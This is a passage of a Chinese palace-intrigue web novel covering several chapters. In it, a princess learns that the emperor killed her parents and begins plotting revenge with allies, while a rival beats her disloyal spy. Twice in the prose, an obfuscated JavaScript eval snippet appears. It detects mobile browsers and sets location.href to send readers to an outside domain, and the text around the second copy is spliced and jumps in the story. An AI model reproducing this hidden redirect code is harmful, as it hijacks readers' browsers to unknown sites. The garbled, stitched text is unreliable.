又嘱咐侍卫:“若她长大,有本事回东陵,你就把一切都告诉她。若不能,便让她做个寻常人,平安过一生吧。” 风卷着雨丝打在窗上,像有人在轻轻叩门。暖阁里的香炉还在冒着烟,一缕缕,把那些陈年旧事都裹在雾里,看不真切了。 皇后的讲述在这里戛然而止,佛堂里又陷入了死寂,只有烛火还在明明灭灭,映着两人脸上的泪痕。 胥毓胃部一阵痉挛,仿佛有把刀正在剖开自己的血肉。 她想起北甸城那个总是冷待自己的师傅,想起他回光返照时,念念不忘的,也是不让她打开那只藏着她身世的匣子。 原来不是不爱,而是太爱,爱到不敢让她沾染上半分仇恨,怕这仇恨会毁了她这一生。 所以才到了生命的最后一刻,也不愿将那些尘封的秘密告诉自己。 佛堂外风声呜咽,像是无数冤魂在低声啜泣。 胥毓终于明白了皇后这么久的隐瞒,原来,她是在给自己机会,给自己抽身而出,不去接触那些经年血仇的机会。 毕竟,有些秘密一旦暴露在阳光之下,等待着她的,便会是无休止的怨与仇,是永远也挣脱不开的宿命! 雨还在下,淅淅沥沥,像是要把这世间所有的委屈都冲刷干净。可那些埋在尘埃里的爱恨,那些刻在骨血里的冤屈,真的能被冲刷掉吗? 胥毓不知道。 她只知道,从这一刻起,北甸城那个无忧无虑的阿柳死了,皇城里金尊玉贵的荣安公主也死了。 而活下来的,是裕阳王的外孙女,是胥殊与胥季荷的女儿,是带着一身血海深仇,必须要坚定走下去的人。 烛火终于燃尽了最后一寸,佛堂里陷入了彻底的黑暗。 只有窗外的雨,还在不知疲倦地下着,敲打着芭蕉,敲打着琉璃瓦,也敲打着两个女人沉甸甸的心…… 49. 受罚 夜色沉沉,宛若泼墨,将天地都浸在一片浓黑之中。宫墙寂寂,寒铁一般,冷硬地横亘着,把内里的愁绪锁得严严实实。 秋风过处,冷宫檐角的铜铃被逗弄起来,发出“丁零”几声幽咽,似有无名鬼魅在暗处低泣,又像是谁把满腹委屈揉碎了,借着风势散发出来。 胥毓缩在青石阶上,那石板冰冷刺骨,从裙裾底下丝丝缕缕往上钻,直浸得人骨头缝里都隐约发寒。 月华如练,泻在她脸上,却没半分暖意,反照得她面色惨白如纸,唯有唇上那点胭脂,倒成了此刻唯一的活色,却也衬得她愈发凄楚。 她的指尖早已深深掐入掌心,皮肉破了,渗出血珠儿,红得刺目,偏那泪珠儿也不争气,顺着眼角扑簌簌滚落,在月色里闪着细碎的银光,掉在石阶上,“嗒”一声,便没了踪影。 自小佛堂出来,胥毓便独自寻了未央宫这处偏僻的台阶坐着,手里紧紧攥着皇后给的那块莲花玉佩。玉佩触手温润,凉意从掌心漫上来,倒让她混沌的脑子清醒了几分。 这块玉佩,雕工实在精巧,莲梗的脉络、花瓣的卷边,无一不栩栩如生,仿佛一掐便能滴出水来。从皇后送她那日起,她便觉出这玉里藏着极大的情意,不然,又怎会有这般鲜活的灵气? 后来的事,果然也应了她的猜想。 这玉佩,原是裕阳王妃的物件。早在胥季荷降生前,那位王妃便亲自描了花样,再寻遍上好的玉料,又请了最顶尖的工匠,一针一线般细细打磨出来的。 它承着一个母亲满腔的爱意与期盼,也是胥季荷身份的凭证。 可胥季荷死了,那样一朵鲜艳明媚的荷花,竟凄惨地死在了一座荒芜的破庙里,甚至连个像样的坟茔都没有。 而她,作为胥季荷留在这世上唯一的骨肉,竟在不知情时认贼作父,在杀父仇人的膝下承欢,日日请安,嘘寒问暖,想想都觉得心口像是被什么东西狠狠剜着,疼得喘不过气。 胥毓抱着膝盖,将脸埋在膝间,用帕子死死捂着嘴,哭得浑身发抖。眼泪就像断了线的珠子,把帕子浸得透湿,呜咽声却半点也漏不出来,只在喉咙里打着转,憋得她胸腔发闷。 “公主。” 但是突然,忽听得“嗒”一声脆响,一粒石子滚到湘裙边,在寂静的夜里格外清晰。 胥毓猛地抬头,泪眼朦胧中,便见那朱红宫墙上掠过一道玄色身影,快得像风。 邰玉轩抱着个鎏金锦盒,“噌”地翻墙跃下,衣袂翻飞间,惊得满地梧桐叶簌簌乱舞,打着旋儿落下来。 他唇角原噙着少年人特有的明朗笑意,像春日里的阳光,可在看清她满面泪痕时,那笑意又骤然凝固,眼里的光也暗了下去。 今日是胥毓的生辰,邰玉轩身为外臣,白日里自然不好太过亲近,送的礼物,也不愿像旁人那般,随意托下人转交。故而趁着夜色,瞅准了没人注意,便翻墙进来,想亲手把这份心意交到她手上。 可谁曾想,一进来就见她独自坐在台阶上哭泣,那泪眼婆娑的模样,活像是被全世界抛弃了一般。 今日宫里的事,他也略有耳闻。 太子联合胥嘉蓄意谋害,没成想偷鸡不成蚀把米,反被胥毓收拾了,还顺势把胥嘉赶出了皇宫。这本该是扬眉吐气的事,她怎反倒哭得这般伤心?莫不是还有什么别的内情,让她受了委屈? 邰玉轩放轻脚步,慢慢挪到胥毓身边,伸出手,用指腹轻轻擦去她脸颊上的泪珠,又像小时候那样,轻轻抚摸着她的头顶,柔声问道:“怎么了?出了什么事?可是有人欺负你了?” 胥毓却只是摇头,什么也不肯说。 她泪眼汪汪地抿着唇,从邰玉轩手里接过那锦盒,指尖触到盒子的冰凉,微微一颤。 “究竟出了什么事?”他把声音压得极低,几乎是贴着她的耳朵,“是不是皇上又罚了你?还是皇后做了什么?别憋在心里,告诉我,我能为你做些什么?” 胥毓依旧不说话,只是低头摆弄着锦盒。 盒子上金线绣的莲花纹硌在掌心,有些扎人。她猛地扯开丝绦,盒盖“啪”地弹开,一盏琉璃灯静静卧在红绸里,灯芯上跃动着幽蓝荧光,像极了夏夜草丛里的流萤。 刹那间,耳边仿佛有蝉鸣骤起,聒噪得很,带着记忆里的溽热扑面而来,把她裹了进去。 ——那年她刚满八岁,夏夜闷热得睡不着,邰玉轩便拉着她去河边草丛里扑萤火。两个小小的身影在月光下跑着、笑着,影子叠在一处,亲密得很。可那萤虫忒也脆弱,没熬到天明就死了,她哭得几乎背过气去。于是少年急得团团转,最后折了根柳枝交到她手上,然后郑重其事地对她起誓:“阿柳莫哭,将来我定给你做个永不熄灭的萤灯!” “啪嗒!” 一滴泪珠砸在琉璃灯罩上,溅起细小的水花,又很快便消失了。 胥毓忽然浑身发抖,锦盒“咣当”一声掉在地上,里面的红绸滑了出来,像一摊凝固的血。 她猛地攥住邰玉轩的衣襟,指节都泛了白,喉间溢出幼兽般的呜咽,压抑了许久的委屈与恨意,在这一刻骤然决堤,把所有的理智都冲得七零八落。 “我不是公主……”她的声音嘶哑,齿间沁出血腥气,像是咬碎了自己的舌头,“今夜皇后告诉我,我不是公主。我的亲生父母,是裕阳王之女胥季荷和皇帝的兄长胥殊,可他们现在都死了!而害死他们的凶手,就是当今皇上和先皇后沈青淑!” 她深吸一口气,胸口剧烈起伏着,眼泪流得更凶了:“我千辛万苦回到皇宫,原以为终于找到了家人,却不想这么长时间,我竟一直在仇人的膝下承欢!我对不起我的亲生父母……他们为什么当年要留下我一个人?为什么不让我跟着他们一起死了?你说,这到底是为什么呀!” 邰玉轩听完,身形剧震,像是被雷劈中了一般,脸色瞬间变得惨白。 但他很快稳住心神,然后把她搂得更紧,几乎要将她揉进自己的骨血里:“别胡说!什么死不死的,你必须要好好活着,长命百岁!逝者已矣,活着的人终究要朝前看。你这般深陷在往日的仇恨里,就算你父母在天有灵,看见了也只会为你担忧。所以振作起来,就算是为了报仇,你也不该就此一蹶不振。” “那你会帮我吗?”她仰起泪痕斑驳的脸,眼底燃着幽暗的火,像寒夜里的孤灯,随时可能熄灭,却又执拗地亮着光晕。 “公主想要什么?”邰玉轩的声音低沉,带着一种不容置疑的坚定。 胥毓望着他,一字一句,说得格外清晰:“我要他们所有人,血债血偿!” 夜风骤急,卷着落叶“呼啦啦”地刮过,吹得琉璃灯影乱晃,幽蓝的光在地上投下细碎的光斑,像撒了一地的碎钻。 邰玉轩忽然低笑出声,那笑声里带着几分决绝,他用指腹轻轻抹过她眼下的泪珠,冰凉的触感让胥毓微微一颤。 随后他弯腰拾起地上的琉璃灯,塞进她掌心,那灯的温度透过掌心传过来,竟有几分暖意。 “当年我说要给你不灭的萤火,即便时隔多年,我也没有食言,所以只要是你想要的,我都会给你。” “邰家世代忠君。”他的声音有些沙哑,像是被砂纸磨过,“但从今日起,我邰玉轩,只忠于你一人。” 胥毓怔住了,她定定地看着他缓缓俯身,以额触地,动作虔诚而郑重:“臣愿为公主手中利刃,刀山火海,万死不辞。” 胥毓望着他低垂的头颅,乌黑的发顶在月光下泛着柔和的光,心底某处突然尖锐地疼了起来,比得知真相那刻更甚,像被细细的针密密地扎着。 “邰玉轩……”这声呼唤,七分是真情,三分是算计,颤得恰到好处,带着刚哭过的沙哑,听着格外惹人怜惜。 邰玉轩抬头,伸手抚着她散落的青丝,将她轻轻揽进怀中。 月光将两人的影子拉得很长很长,纠缠着投在斑驳的宫墙上,竟像极了两只缠绵悱恻的交颈鸳鸯,难分难解。 但在邰玉轩的颈侧,胥毓却悄无声息地缓缓睁开了眼。琉璃灯的幽蓝光芒映在她眼底,一片清明,哪里还有半分方才的哀戚? 她无声地勾起唇角,泪痕未干的脸上,浮现出与年龄极不相称的冷厉。 秋风卷着枯叶掠过脚边,发出“沙沙”的声响。那盏琉璃灯的光依旧温柔地亮着,照亮她半边姣好的面容,但另外半边却隐在黑暗里,晦暗不明,让人猜不透她心中究竟在想些什么。 * 夜雨“哗啦啦”地敲打着太子府后院的青石板,水珠从屋檐滴落,“啪嗒、啪嗒”砸在石板上,积起一个个小小的水洼,又很快被新的雨水填满。 昏暗的厢房里,胥嘉手中的牛皮鞭在空中划出一道凌厉的弧线,带着风声,“啪”地一声抽在跪地之人的背上,那声音在雨声里也格外刺耳。 “再说一遍?”胥嘉的声音像是又冷又硬,“你不知道?” 面前的黑衣人跪得笔直,玄色劲装已被鞭子抽裂,露出下面血肉模糊的伤口,红肉翻卷着,看着触目惊心。他跪在屋门口,雨水顺着他的下颌滴落,分不清是雨水还是血水,在地上积成一小滩,泛着暗红的光。 “属下确实不知。”他的声音沙哑得厉害,“荣安公主近日防备森严,属下不敢靠得太近,故而许多事都未能探得。” “究竟是不敢靠得太近,还是靠得实在太近?”胥嘉突然俯身,染着蔻丹的指甲狠狠掐住他的下巴,力道之大,像是要把他的骨头捏碎,“弯刀,你真当本小姐是瞎的吗!” 为了防止胥毓脱离自己的掌控,早在她回京之前,胥嘉便已让最信任的暗卫弯刀潜伏在她身边,以便随时了解她的近况,掌控她的一举一动。 刚开始时,倒也顺遂。 胥毓有什么大小动静,弯刀都会及时传回,让她能早做防范,提前布局。 可不知从何时起,弯刀传回来的消息越来越少,有时甚至连一些重要的线索情报,都只字不提,以至于她在与胥毓的几次交手中,屡屡败下阵来,颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174658|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面尽失。 究竟是从什么时候开始的呢? 胥嘉捻着自己的袖口,心里反复琢磨着,却始终想不出个究竟。 但她清楚,自己手上最锋利的这把刀,如今刀锋已不再随自己的心意而动了。他有了自己的心思,且那心思,似乎还与她的想法完全相悖。 “弯刀,你是不是忘了——”她的呼吸喷在他脸上,带着浓郁的玫瑰香气,甜得发腻,却掩不住语气里的狠戾,“你这条命是谁给的?” 烛火摇曳,将两人的影子投在墙上,扭曲得如同鬼魅,随着烛火晃动,张牙舞爪。 黑衣人垂着眼,浓密的睫毛在脸上投下一片阴影,遮住了眼底的情绪。 恍惚间,他仿佛又看见未央宫的月色下,胥毓与邰玉轩相拥的身影,那般亲密,那般刺眼,像一根针,扎得他心口生疼。 “属下不敢忘。”他顿了顿,声音低沉地说道,“只是荣安公主近来与邰世子走得很近,形影不离,有什么消息都没怎么和属下说。属下就算是想为主子分忧,也实在是有心无力。” “有心无力?”胥嘉冷笑一声,手中的皮鞭再次狠狠抽在男人身上,“啪”的一声,又添了一道新伤,“我看你不是有心无力,而是对她胥毓心猿意马,情难自已了吧!” 她说着,绕着脚边的男子缓缓踱步,绣鞋踩在血水上,发出“吱呀”的黏腻声响,听得人头皮发麻。 “别忘了,你不过是条狗,一条我胥嘉养的狗,也配肖想什么人?” 窗外一道闪电劈过,惨白的光瞬间照亮了厢房,也照亮了褚奎眼中转瞬即逝的痛楚,像流星划过夜空,快得让人抓不住。 他幼时家破人亡,一路辗转飘零,在街头奄奄一息之际,是胥嘉出手相救,才侥幸保下一条性命。从那时起,他就暗自发誓,要做她最忠心的刀,为她斩除一切障碍,哪怕粉身碎骨,也在所不辞。 可谁能想到,命运弄人,让他在监视胥毓的过程中,被那个看似骄纵、实则坚韧的公主一点点打动。 她会在他受伤时,笨拙地为他包扎伤口,指尖轻柔得像羽毛;她会在他沉默时,轻声问一句“疼吗”,那语气里的关切,是他从未感受过的温暖。 “属下不敢。”他木然地重复着,脑海中却又浮现出胥毓为他包扎伤口时的模样,她的指尖带着草药的清香,轻轻拂过他的皮肤,那点暖意,仿佛能渗入骨髓里。 他这一生,只有那个少女,曾真心实意地问过他疼不疼。 “不敢?我看你倒是敢得很!”胥嘉的火气更盛,手中的皮鞭雨点般落下,“这世间哪还有你弯刀不敢做的事情?不过你胆子再大,也别忘了当初是谁救了你,别忘了……你是谁的狗!” 是胥嘉,是她给了自己一条命。 从那以后,他就成了她的走狗,为她杀人,为她监视,为她做尽一切见不得光的事。他做狗做得太久,久到以为自己本就该是这般模样,这是他心甘情愿的。 可他终究不是狗。 所以当有人把他当做一个普普通通的人,关心他,爱护他时,他那颗早已麻木的心,竟又重新活了过来。他控制不住自己的心,所以他割裂地爱上了胥毓,爱得小心翼翼,爱得不敢声张。 他伤害不了她。 以至于当那只巫蛊娃娃交到他手上时,他明知道听从胥毓的话,将其放在胥嘉的房间会引发怎样惨烈的结局,犹豫了许久,终究还是选择了背叛胥嘉。 有时候,他甚至觉得自己真的是魔怔了。 那个女人虽然对他好,可她并不爱自己,她爱的人另有其人。 可即便如此,每次看见胥毓的微笑,他心里就像是被点燃了一团火,暖暖的,让他觉得自己似乎也不再只是一把冰冷的刀,而变成了一个有血有肉、鲜活的人。 看着褚奎失神的目光,胥嘉心中的火气更旺,又一鞭子抽在他背上:“滚出去!继续盯着那个贱人!若再敢有半分差池,我定取你狗命!” 褚奎沉默地叩首,然后缓缓起身,拖着受伤的身体,一步一步退了出去。 廊下的雨水冲刷着他身上的血痕,混着雨水流下来,在地上拖出一道长长的血印,却冲不散心头那股灼烧般的嫉妒。 凭什么他邰玉轩就能光明正大地站在她身边?凭什么他就能得到她的青睐? “褚侍卫。”一个娇媚的声音从转角传来,带着几分怯怯的关切,“需要伤药吗?我房里有上好的金疮药,效果极好的。” 太子府的侍女红袖撑着伞走来,伞沿压得很低,遮住了半边脸,只露出一双含情脉脉的眼睛,里面的倾慕几乎要溢出来。 但褚奎却面无表情地绕过她,一步不停地走进雨幕中,很快便消失在了黑暗里。 他不需要怜悯,尤其是这种廉价的好意,只会让他觉得更加难堪。 而红袖望着他消失的背影,眼中的光芒也一点点黯淡下去,握着伞柄的手微微收紧,雨水顺着伞沿滴落,打湿了她的衣襟,她却浑然不觉…… 50. 求爱被拒 夜色微凉,清辉似水。 正院书房内,烛火摇曳,映得四壁书架上的典籍愈发沉郁。 胥阳丹端坐案前,手握朱笔批阅奏章,烛光斜照,勾勒出他侧脸如琢如磨的轮廓,剑眉入鬓,原是副好相貌,只那眉间拧成个川字,藏着几分按捺不住的烦躁,连带着落笔都重了几分,墨点在黄册上洇开,似要将那纸页戳破一般。 忽闻“吱呀”一声,梨木长门被轻轻推开,带进些微夜露的清寒。 胥嘉款步而入,已换了身月白素纱裙,发间仅簪一支羊脂白玉簪,莹光流转,衬得她面如梨花,眉若远山,眼底却含着几分怯生生的水汽,端的是楚楚可怜之态。 “太子哥哥。”她轻声唤道。 胥阳丹头也未抬,朱笔在案上一顿,墨滴又晕开些许:“你太让孤失望了。” 语气平淡,却比疾言厉色更添几分冷意。 胥嘉闻言,玉齿轻轻咬住下唇,留下一道浅浅的红痕。 她缓步绕至案后,纤纤玉手搭上他的肩头,指尖微凉,带着些脂粉的清香:“是嘉儿思虑不周了。但胥毓那丫头实在狡猾,偏生会装模作样……” “够了!”胥阳丹猛地拍案而起,案上的砚台被震得“哐当”一声,墨汁溅出,染了他的袍角。 他转过身,眼中燃着熊熊怒火,指着胥嘉的手指因愤怒而微微发颤,“你可知如今有多少双眼睛盯着孤?东宫内外,朝堂上下,哪个不盼着孤出些差错?若被人察觉你藏在太子府,莫说储君之位,便是你我这性命,只怕也难以保全!” 他正思忖着寻个由头,将这惹祸的丫头打发出去,免得在此碍眼,越看越添烦躁。 但谁知胥嘉却忽然敛了怯色,优哉游哉地从袖中取出一张素笺,纤手轻展,放在胥阳丹面前的桌案上。那素笺质地绵密,上面字迹娟秀工整,一笔一划皆有章法,倒与她此刻温顺的模样相得益彰。 “下月科举,此人必中状元。”她声音压得极低,带着几分笃定,“他名唤张明远,寒门出身,却有首辅之才,如今正逢蒙难之际。太子哥哥若能及时将他招揽于门下,日后他投桃报李,必成麾下一员猛将!” 胥阳丹的怒容渐渐敛了些,他自然晓得胥嘉这“预知”的本事有多金贵。 从小到大,她口中所言之事,未有不应验的。而他能一路走到今日的位置,这本事也着实帮了他不少忙。 烛火跳动,将素笺上的字迹映得忽明忽暗,也衬得胥嘉脸上的笑容更显柔和。 “虽然此次的事情确实是嘉儿做的不好,但到底对咱们的大事无所损伤,所以太子哥哥不必担忧,嘉儿永远都是你最得力的助手。”胥嘉柔声道,指尖轻轻划过他的手背,带着几分撩拨。 胥阳丹反手握住她的手腕,稍一用力,便将人拉入怀中。 胥嘉顺势坐在他腿上,双臂轻巧地环住他的脖颈,吐气如兰,呵在他的颈间。两人的呼吸渐渐交融,烛火将交叠的影子投在墙上,影影绰绰,平添几分暧昧。 “太子哥哥……”胥嘉在他耳边轻喘,声音带着几分娇憨,“您就别生嘉儿的气了吧……” “傻嘉儿,我怎么会生你的气呢。你就是哥哥的小福星,哥哥有你,开心都还来不及呢,哪会生你的气?”胥阳丹轻啄着胥嘉的樱桃小唇,两人气息交杂间,呼吸都愈加沉重,“嘉儿,好嘉儿!哥哥想要你,现在就要你!好不好?” 胥阳丹的手已经探入胥嘉的衣襟,指尖触及到细腻的肌肤,引得胥嘉微微一颤。 但臀下的硬物硌得她心头一紧的同时,也叫她瞬间清醒。 方才的柔情蜜意骤然消散,胥嘉猛地推开胥阳丹,然后赶忙站起身整理着凌乱的衣袍,鬓边的玉簪晃动,发出细碎的声响。 “现在不行。”她语气坚定,眼底的媚色褪去,换上几分正色。 温香软玉骤然离怀,胥阳丹的眼中闪过一丝阴霾,带着被拂逆的愠怒:“为何?你不愿意?” “不是的,太子哥哥!”胥嘉急忙辩解,声音里带了几分急切,“嘉儿心悦您,自然是愿意的。只是如今无名无分,若就这样不明不白地从了您,日后叫嘉儿如何自处?” 她烦躁地踱了两步,裙裾扫过案脚,带落了一支毛笔,“嘉儿是将太子哥哥当做夫君来待的,难道哥哥心中……不想堂堂正正地娶嘉儿为妻?” 看着胥嘉一脸严肃的模样,胥阳丹心头的燥热骤然被浇了个透心凉。 娶她? 此事还需从长计议,而且即便真要娶,也绝不会是在这个时候。但她既执着于名分,他倒也不好过分勉强。 所以他挥了挥衣袖,从椅子上站起:“自然是要娶的,只是如今时机未到,你……且再等等吧。” 窗外的雨声早已歇了,只余檐角滴水的声音,“嘀嗒,嘀嗒”,像是有什么人在暗处垂泪。 胥嘉望着太子头也不回地走向侍妾的院落,背影决绝,指甲深深掐进掌心,留下几个弯月形的血痕。 她立在原地,烛火照得她脸色忽明忽暗,眼底翻涌着不甘与怨怼,偏那嘴角却勾起一抹冷笑。 等?她可没那么好的耐心。 * 翌日午后,城南锦绣阁的后院里,一树梨花开得正好。 雪白的花瓣层层叠叠,压弯了枝头,风一吹过,便簌簌落下,宛若漫天飞雪,落在青石板上,积了薄薄一层。 云溪提着一只青瓷茶壶,壶嘴细长,滚烫的水柱冲入茶盏,激得碧色的茶叶上下翻飞,沉浮不定。 她将茶盏推到胥毓面前,茶汤澄澈,映出胥毓脸上震惊的神色,连带着眉梢都微微挑起。 “这么说,皇后全都告诉你了?”云溪的声音里带着几分探究,指尖无意识地摩挲着茶壶的纹路。 胥毓指尖轻抚茶盏边缘,感受着那渐渐散去的灼热温度,良久才缓缓开口:“是。你那话本子里没写的秘密,原是我的身世之谜。我不是真正的公主,而当今圣上,竟是我的杀父仇人。” 她的声音很轻,却带着千斤重的寒意,仿佛那茶盏里盛的不是茶汤,而是彻骨的冰。 一片梨花恰好落在茶汤里,漾开一圈涟漪。 云溪攥紧了手中的丝帕,帕子上绣着的兰草被捏得变了形:“难怪故事的最后,皇后会狠心毒杀满宫的人。原来她的入宫,从一开始就是一场算计,目的便是血洗皇宫,为胥季荷报仇!” 胥毓无奈地叹了口气,气息拂过茶盏,带起一层薄雾:“但那不过是胥嘉的前世罢了。今生她带着预知的本事,又怎会让那样的结局重演?她必然是会未雨绸缪的。” “未雨绸缪又如何?”云溪冷笑一声,声音里带着几分不屑,“胥嘉的‘预知’,不过是记得话本内容罢了。她与太子都非聪明人,全靠这点金手指撑着。” 她说着又顿了顿,眼底闪过一丝狡黠,“只可惜,我掌的是话本以外的话本。她知朝局变动,我却知她的变动。说起来,我方倒是专克她这金手指。” 只有一点…… 云溪忽然握住胥毓的手,掌心微凉,带着几分担忧:“阿柳,我知你复仇心切。可你要想清楚,权力之争九死一生,一旦卷入前朝权斗,便是你死我活的局面。你当真想好了,要走这条路?” 有的人因一时冲动行事,日后尚有挽回的余地。 可胥毓选的夺权之路,分明是开弓没有回头箭。一旦踏上,便只有两种结局:要么胜,要么死。 云溪自然会支持她的决定,只是不愿她因一时意气,而最终落得万劫不复的境地。 茶汤渐凉,水面映出胥毓决绝的眼神,那眼神里燃着不灭的火焰:“我这条命本就是捡来的,若能拉他们陪葬,值了!” 她怎会不知这条路的凶险?当年若非沈青梧及时出现,救下尚在胥季荷腹中的自己,她早已与父母一同长眠于地下。 他们一家分崩离析,各有悲怆死法,而血海深仇的仇人却安居庙堂,享尽荣华。 这世间哪有这样的道理?所以,哪怕搭上自己这条命,她也势必要让胥瀮与沈青淑的儿子胥阳丹付出代价!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以她的第一步,便是带回个假孩子,谎称是胥季荷所生,而胥季荷已被沈青淑派去的人残忍虐杀。 胥瀮本就对沈青淑无情,娶她也不过是为了沈家的权势。可沈家并非只有沈青淑一个女儿,她还有一个一母同胞的妹妹沈青梧。 于是两人心怀叵测,一拍即合,约定趁沈青淑生产之际,去母保子,再扶沈青梧上位。 自那以后,沈青梧便彻底取代了沈青淑,成了东陵的皇后。 他们不过是合作伙伴,彼此无情,不过是利益置换罢了。 但身为皇后,虽将胥季荷的假女儿记在名下,可沈家是知晓真相的,怎会容忍沈青梧在宫中毫无根基,连个自己的孩子都没有?所以为了堵住父母的口,沈青梧寻了些面首,最终挑了个与胥瀮容貌相似的,怀上了四皇子胥文璟。 当今皇后给自己戴绿帽,即便胥瀮对她无情,也难以容忍。 可皇后手中有一秘方,炼制的丹药能助他延年益寿,况且沈青梧立誓,这孩子只是应付沈家二老的工具,长大之后绝不沾染半点权力,只做个富贵闲人。 皇帝这才勉强接受了四皇子的存在,只是这孩子自出生起,除了礼节性的会面,他几乎未曾正眼看过。 三人的影子在石桌上交叠,阳光透过梨花洒下斑驳的光点,落在他们脸上,忽明忽暗。 几人面面相觑,皆是一声无奈的轻笑。 谁能想到,这这皇城之中,他们竟各有各的苦楚,各有各的秘密。 胥毓摇了摇头,忽然开口,声音压得极低:“上次我从锦绣阁离去,无意间发现太子在青楼与几个外邦人接头。从他们的交谈中大致推断,太子近日频繁接触裕嘉使者,恐怕是要借外族之力逼宫。只是不知,他会在何时动手?” 话音落下,院中的风似乎更凉了些,吹得梨花又落了一阵,像是在为这即将到来的风雨,提前落下哀戚的泪。 51. 柳溪商议,褚奎叛变 胥文璟一手支颐,指尖轻捻着下颌,沉吟道:“这些年我在外游历,倒瞧出些门道来。裕嘉城里那两位继承人,可真是针尖对麦芒。大公子是个温吞性子,凡事好商量,是个主和的;二皇子却不同,暴戾得很,又总想着一步登天,典型的主战派。皇姐既得了准信,想来太子这回勾连的,定是那二皇子一派了。” 云溪闻言,倒抽一口凉气,手中茶盏险些脱手。 她望着廊下纷飞的梨花,蹙眉道:“原书里确有胥阳丹勾结外族围城谋反的情节,只是他们那时太过顺遂,竟兵不血刃便弑君上位。可怜裕嘉那头狼子野心,到头来半点好处也没捞着,这主角光环,实在是厉害得有些不讲理了!不过这段剧情发生的时间还早呢,眼下他们该还只是试探着接触。依我看,胥阳丹此刻首要的,该是收拢朝堂势力。若没记错的话,他们正打算下个月,把那位有首辅之才的状元郎收归麾下。” 她顿了顿,想起那状元郎的境遇,又道:“那人日子过得苦,家里只有一位老母亲,如今病得下不了床,指不定哪日便去了。按原剧情,老太太恰好在他放榜那日咽气,他正抱着母亲哭得天昏地暗,太子便适时递过橄榄枝,替他风光大葬了母亲,轻轻松松就收服了这人。” 胥毓眸中寒光一闪,如玉的指节在石桌上轻轻一叩:“如此说来,我们得抢在太子前头。不单要在他收揽之前找到这人,更要在他中状元之前便拉拢过来,才更稳妥。” “拉拢倒是其次。”胥文璟执起茶盏,指尖在盏沿轻轻摩挲,“要紧的是名分。太子是储君,登高一呼,从者如云,我们凭什么与他分庭抗礼?” 一阵清风穿廊而过,满树梨花簌簌飘落,宛若揉碎的雪。 胥毓望着那纷飞的白,忽然展眉一笑,眼底似有星火跳跃:“若太子不再是太子呢?” 云溪眼睛一亮,身子不由前倾:“你的意思是……改立储君?” “太子残暴不仁,他若上位,日后清算起来,皇帝皇后,你我,乃至后宫诸位手足,怕都难有好下场。”胥毓转向胥文璟,语气恳切,“与其坐以待毙,不如另寻出路。依我看,倒不如让四皇弟你来继承大统……” 胥文璟手中折扇“啪”地合上,惊得几片落瓣飘起。 他挑眉笑道:“皇姐这是要把我往火坑里推呢。” 阳光透过梨花枝叶,在他含笑的眉眼间投下斑驳光影,却照不进那双深潭似的眸子。 胥毓心中一动,这看似温润无害的少年,或许比她想的要深沉得多。 “不过,这皇位的火坑,弟弟虽确实力不从心。”胥文璟慢条斯理地展开折扇,扇面上的山水在风里轻轻晃动,“但若说摆在明面上,做姐姐的一面盾,倒也不是不行。” 锦绣阁后院的梨花已过了盛放时节,花瓣落得愈发急切,石桌上渐渐积了薄薄一层,倒像是落了场早雪。胥文璟手中的折扇又“啪”地合上,震得桌上残瓣翩然飞起。 胥毓一时没明白他的意思,追问了句:“四皇弟这话,到底是什么意思?” “关于继承大统一事,恕弟弟难以从命。”他声音依旧温润,却带着不容置喙的坚决,“弟弟先前说的不是客套话,我志在山水之间,只想做个闲散王爷。” 胥毓指尖一颤,茶盏中的水溅在桌面。 “四皇弟……”她急声道,“你怎就不明白?太子若登基,第一个不会放过的便是你母亲!他心里一直认定,是你母亲为了权势害死了他生母。覆巢之下无完卵,你和皇后,定然难逃一死啊!” 胥文璟却只是摇头浅笑,从袖中取出一卷画轴,缓缓展开。 画上是烟波浩渺的江南,一叶扁舟在绿波上轻荡,两岸桃花灼灼,看得人心里敞亮。 “这是云溪为我画的。”他指尖轻抚画上山水,眼中漾着向往,“等这里的事了了,我便去这画里的地方。” 云溪猛地拍案而起,桌上的茶盏被震得叮当作响,几片梨花落瓣惊得跳了起来:“胥文璟!亲朋好友都要死于非命了,你倒好,不怨不恨,反倒规划起日后定居何处!你当真以为,太子手上沾了那么多人命,还会放你一人逍遥快活?” 阳光穿过梨树枝桠,在胥文璟脸上织就一张光影交错的网。 他嘴角的笑意未减,眼底却结了层薄冰,冷得人心里发颤:“朝局更迭,自古便是天命难违。我不过是个假皇子,何必去淌这浑水?要说多恨,说实话,我没有。” “可是——” “够了!”云溪一把拽住胥毓的手腕,力道不小,“我们出去说。” 后院偏厢内,云溪“砰”地关上门,窗棂被震得嗡嗡作响,惊得梁上燕子扑棱棱飞了出去。 “你何必非要扶他?”云溪压低声音,眼中闪烁着异样的光,“胥文璟确实是个好伙伴,讲义气的兄弟,但这样的人留在身边做朋友便好,怎能胡乱推上九五之尊的位置?你还不明白吗,阿柳?皇后从始至终都没把他当皇子培育过,他不是这块料,成不了好君主。与其费尽心思逼他就范,不如你自己来!” 胥毓手中的素帕飘然落地,她怔怔地看着云溪,像是第一次认识她:“你……你说什么?” “武曌能称帝,你为何不能?”云溪向前一步,气息拂在胥毓脸上,“胥季荷给你的半块虎符,加上邰家的兵权,还有我掌握的剧情,天时地利人和,胜算都在我们这边,你还有什么好怕的?” 窗外一阵风过,梨花扑簌簌打在窗纸上,像是无数只小手在轻轻叩门,又像是谁在暗处窃窃私语。 胥毓只觉一阵眩晕,仿佛眼前突然洞开一扇从未见过的门,门后是万丈光芒,却也藏着无底深渊。 “可……可历来……” 